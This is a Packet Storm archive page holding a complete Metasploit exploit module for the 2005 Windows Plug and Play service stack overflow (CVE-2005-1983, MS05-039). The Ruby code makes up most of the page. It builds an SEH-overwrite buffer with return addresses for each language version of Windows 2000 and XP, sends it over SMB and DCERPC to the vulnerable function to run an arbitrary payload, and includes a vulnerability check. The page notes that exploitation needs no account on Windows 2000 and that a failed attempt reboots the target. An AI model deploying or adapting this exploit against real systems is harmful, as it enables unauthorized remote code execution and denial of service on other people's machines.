what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Plug and Play Service Overflow

Microsoft Plug and Play Service Overflow
Posted Nov 26, 2009
Authored by H D Moore, cazz | Site metasploit.com

This Metasploit module exploits a stack overflow in the Windows Plug and Play service. This vulnerability can be exploited on Windows 2000 without a valid user account. Since the PnP service runs inside the service.exe process, a failed exploit attempt will cause the system to automatically reboot.

tags | exploit, overflow
systems | windows
advisories | CVE-2005-1983
SHA-256 | 2d54b358ebb862c805c0f268e705e13f7bd6770f841069a133a28f5e460b2a4a

Microsoft Plug and Play Service Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB


def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Plug and Play Service Overflow',
'Description' => %q{
This module exploits a stack overflow in the Windows Plug
and Play service. This vulnerability can be exploited on
Windows 2000 without a valid user account. Since the PnP
service runs inside the service.exe process, a failed
exploit attempt will cause the system to automatically
reboot.

},
'Author' => [ 'hdm', 'cazz' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-1983'],
[ 'OSVDB', '18605'],
[ 'BID', '14513'],
[ 'MSB', 'MS05-039'],
[ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/'],

],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "",
'Compat' =>
{
# -ws2ord XXX?
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
{
'Ret' => 0x767a38f6, # umpnpmgr.dll
},
],
[
'Windows 2000 SP4 French',
{
'Ret' => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com>
},
],
[
'Windows 2000 SP4 Spanish',
{
'Ret' => 0x767738f6, # umpnpmgr.dll
},
],
[
'Windows 2000 SP4 English/French/German/Dutch',
{
'Ret' => 0x01013C79, # [Pita] [Houmous] <pita@mail.com>
},
],
[
'Windows 2000 SP0-SP4 German',
{
'Ret' => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de>
},
],
[
'Windows 2000 SP0-SP4 Italian',
{
'Ret' => 0x7677366f, # acaro <acaro@jervus.it>
},
],
[
'Windows XP SP1 English',
{
'Ret' => 0x758c572a,
'Pipe' => 'ntsvcs',
'Offset' => 16,
}
]
],

'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 9 2005'))

register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
], self.class)

end

def pnp_probe(req, pipe = datastore['SMBPIPE'])

print_status("Connecting to the SMB service...")
connect()
smb_login()

handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

# CS_DES
cs_des =
NDR.long(0) + # CSD_SignatureLength
NDR.long(0) + # CSD_LegacyDataOffset
NDR.long(req.length) + # CSD_LegacyDataSize
NDR.long(0) + # CSD_Flags
rand_text(16) + # GUID
req # CSD_LegacyData

# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);

# ResourceName:
stubdata =
NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID
NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific
NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure)
NDR.long(cs_des.length) + # ResourceLen
NDR.long(4) + # OutputLen (at least 4)
NDR.long(0) # Flags

print_status("Calling the vulnerable function...")

begin
dcerpc.call(0x36, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_good('Server did not respond, this is expected')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
raise e
end
else
print_status('The server should have executed our payload')
end

# Cleanup
handler
disconnect

if (dcerpc.last_response != nil and
dcerpc.last_response.stub_data != nil and
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
return true
else
return false
end
end

def check
if (pnp_probe('A'))
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
# Pad the string up to reach our SEH frame
buf = rand_text(target['Offset'] ? target['Offset'] : 56)

# Jump over the address and our invalid pointer to the payload
buf << Rex::Arch::X86.jmp_short('$+32')
buf << rand_text(2)

# The SEH handler pointer
buf << [target.ret].pack('V')

# Some padding to reach the next pointer
buf << rand_text(20)

# ResourceName - cause access violation on RtlInitUnicodeString
buf << rand_text(3) + "\xff"

# Append the encoded payload and we are good to go!
buf << payload.encoded

# Determine which pipe to use
pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE']

pnp_probe(buf, pipe)
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close